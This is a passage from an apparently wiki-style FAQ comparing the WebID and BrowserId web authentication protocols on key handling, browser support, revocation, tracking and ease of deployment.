But if BrowserId were to be combined with WebID (ie: the JSON certificate were to contain an http(s) Subject Name) then longer lasting keys could be used: Relying Parties could verify that keys had not been compromised by checking the user's public profile.

How does multi device browser support work?

Both WebID and BrowserId can have multiple public keys.

With WebID/foaf+ssl each public key gets published in the profile page, as can be seen in "WebId creation and use in 4 minutes" video. Each device/browser can have its own certificate for the same WebID. Authentication of the user is done by verifying that the public key in the certificate matches one of the public keys publised on the WebID profile page.

BrowserId will save the key in the browser/OS keychain once that part is integrated in the browser. The Relying Party verifies a certificate by checking that the Issuer really signed the certificate, not by a byte-by-byte comparison of certificates. So any certificate can be used, as long as the signature is authentic.

If those result in multiple public keys, how are they linked?

In BrowserId the public key of the user's certificate is only used to verify that the client has the corresponding private key in the authentication process. There is no linking going on.

With WebID the different public keys can be published on the Profile page and can this be linked there. Some of those keys could be described as long lasting and so also used for signing and decryption.

Is the linking required to be done for every consumer?

In pure WebID every profile needs to publish every public key. The profile may be nothing more than the publication of that key.

BrowserID only requires the e-mail server to publish its public key.

How is support in current browsers?

All desktop browsers support X509 certificate selection since 1998 or so. (with a few exceptions like early versions of Chrome) Cell phones are more patchy. wiki page

For BrowserId to work in a decentralised way it needs browser support. This is currently missing, but it has a chance of being deployed as it has support at Mozilla labs.

Is the user interface easy enough to be understood by average users (including creation, selection, revocation from the current computer, and global revocation of an identity)?

Creation: In both this is a one click affair. With WebID X509 certificates can be generated using the html5 keygen element, and an IE ActiveX workaround. The user just needs to click  a big button - see the WebID & Browsers video or the above "webId creation and use" one. User Interfaces could be improved of course with better web designers.
Selection:

WebId: Selection is excellent on Chrome, Safari, Opera and IE but ugly - though not impossible to use in Firefox. Why they don't bother to fix that is a mystery. Please vote up bug 396441 - Improve SSL client-authentication UI. There is a lot that can be done to improve the UI, but imperfect browsers has never stopped creative web people from using it creatively.
BrowerId: selection can be designed by the web site, though this may create more security risks, and will not provide a consistent authentication UI across sites (hence a possible physching risk)

Revocation from current computer

WebID: removing of X509 certificates from the current computer is something that should be avoided, and certainly the UI for that should be improved.
BrowserId: revocation from the current computer is not defined yet as it has not been implemented.

Global revocation of identity

WebID: this just requires the Profile Page to return one of the HTTP error codes if the identity needs to be completely removed, or an HTTP redirect if the profile moves, or a semantic identity relation between the old and the new identity, or just the removal of one of the public keys from the profile if a certificate has been stolen.
BrowserId protects itself with short lived (JSON based) certificates

Is there a centralized organisations which can track users?

WebID: it can be completely decentralised. You could place your WebId on your FreedomBox and so could all your friends. You could also place it on some anonymous server if you trusted that service.
BrowserId: when the JSON certificate store is integrated with the browser - and one no longer needs to use browserid.org then each e-mail provider could participate. Since Freedom Boxes can also be e-mail providers they can also be authorities.

Are there decentralized organisations which can track users?

Examples of what that would look like?

How detailed can the tracking be?

With BrowserId the Relying Party fetches the public key of the e-mail provider. All that provider should know is that some server made a GET request. This is something that may be worth integrating into WebID. On the other hand the Relying Party ends up with an e-mail address that could be misused for spamming.

With WebID - a request by the Relying party is made on the Profile Page. This request could be done anonymously, via a proxy or even an ip-proxy.

How easy is it for a consumer to get the implementation right?

WebID over TLS requires more to set up for the relying party, including an SSL server. That server should not do the usual authentication of client side certificates. On the other hand it is more secure, since it forces TLS. There are a lot of TLS tools that have been tested over time, and that keep being tested.

BrowserId does not require TLS on the Relying Party so it is easier to setup. On the other hand there are man in the middle attacks possible if TLS is not set up.

( But at this point one should notice that there is no deep reason why BrowserID and WebID cannot both use the new proposed JSON certificate format and combine their strengths. It is quite possible to do the BrowserId )

How does it work on Internet terminals on which you don't have permissions to install software on (assuming you accept the risk of it being compromised)?

Internet terminals are always dangerous. Only crypto keys could make the risk acceptable. By completely placing the key in hardware the risk that the private key be stolen is removed.  see WebId and the Crypto Stick. Otherwise very short lived keys are a damage limitation solution if either WebID or BrowserId has to be used. Both protocols can work with short term keys.

Perhaps OpenId is better here combined with one time passwords passed by a cell phone.